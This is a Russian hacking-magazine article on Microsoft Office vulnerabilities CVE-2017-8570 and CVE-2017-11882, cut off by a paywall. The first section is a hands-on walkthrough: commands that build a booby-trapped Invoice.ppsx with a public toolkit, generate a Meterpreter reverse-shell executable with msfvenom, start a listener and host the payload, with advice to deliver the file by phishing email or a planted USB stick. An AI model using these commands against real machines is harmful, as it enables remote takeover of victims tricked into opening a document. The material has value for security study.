Содержание статьи
Некорректная обработка ответов от OLE (CVE-2017-8570)
В основе этого бага лежит ошибка, связанная с некорректной обработкой ответов от сервера в функции Microsoft OLE (Object Linking and Embedding), которая дает возможность встраивать одни документы внутрь других. Фича, конечно, полезная, но крайне небезопасная.
Когда зараженный документ открывают, приложение делает запрос на удаленный сервер, чтобы получить встроенный в этот документ файл. Сервер возвращает специально сформированный ответ. В нем содержится вpедоносный файл HTA, произвольный код из которого после загрузки выполняется на целевой системе.
Об этой проблеме стало известно в апреле 2017 года, а в августе произошел еще один важный эпизод: спецы из аналитического отдела Cisco рассказали о новой уязвимости, связанной с этой, — CVE-2017-0199. Если ранее для атак использовались документы Rich Text File (RTF), то новая угроза относилась к файлам PowerPoint (.ppsx).
Принцип работы
Атака, использующая эту уязвимость, развивается по весьма простому сценарию: пользователю приходит письмо с вредоносным документом Word и обманом заставляет жертву открыть вложения. Внутри документа скрывается объект OLE2link. Если жертва использует Protected View, то эксплоит не сработает, но вот если этот режим выключен, то на сервер атакующих уйдет HTTP-запрос, который подгрузит файл HTA, замаскированный под RTF.
Когда файл HTA подгрузится, он будет выполнен автоматически. Таким образом эксплоит срабатывает, а исходный документ Word будет закрыт. Вместо него откроется документ-фальшивка, предназначенный для усыпления бдительности жертвы.
Эксплуатация
Первым делом идем на GitHub и смотрим эксплоиты. Я буду пользоваться вариантом пользователя tezukanice. Создаем в директории Office8570
папку template
и переносим в нее скачанный нами файл template.ppsx
.
Теперь запускаем скрипт, чтобы сгенерировать файл PPSX с полезной нагрузкой:
$ python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.0.104/logo.doc
Указываем IP жертвы (в моем случае это 192.168.0.104) и видим, что появился файл Invoice.ppsx
.
Далее, используя Metasploit, создаем полезную нагрузку в виде файла shell.exe
в каталоге tmp
:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f exe > /tmp/shell.exe
Дело сделано, теперь запускаем слушатель, который будет чекать порт:
$ msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.0.104; set LPORT 4444; run"
Чтобы все заработало, нам остается сделать еще одно действие — прописать команду на запуск локального сервера на 80-м порте.
$ python cve-2017-8570_toolkit.py -M exp -e http://192.168.0.104/shell.exe -l /tmp/shell.exe
И заключительный шаг — необходимо передать инфицированный файл презентации PowerPoint (Invoice.ppsx
) на машину жертвы. Как — уже другой вопрос. Можно подготовить фишинговое письмо, подбросить флешку или еще что-нибудь в таком духе. Когда жертва откроет файл на своей машине, отработает эксплоит, и мы получим виндовый шелл.
Демонстрацию бага можешь наблюдать на видео.
Переполнение буфера в редакторе формул (CVE-2017-11882)
Этот опасный баг, который позволяет выполнить код без взаимодействия с пользователем, существовал 17 (семнадцать!) лет.
Исследователи объясняют, что проблема связана с работой Microsoft Equation Editor (EQNEDT32.EXE). Казалось бы, это же безобидный редактор формул! Но скомпилирован этот файл в последний раз был аж 9 ноября 2000 года. Разумеется, он не соответствует современным стандартам безопасности. В Office 2007 этот компонент заменили новой версией, но старую убирать не стали — людям же нужно открывать старые документы, верно?
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»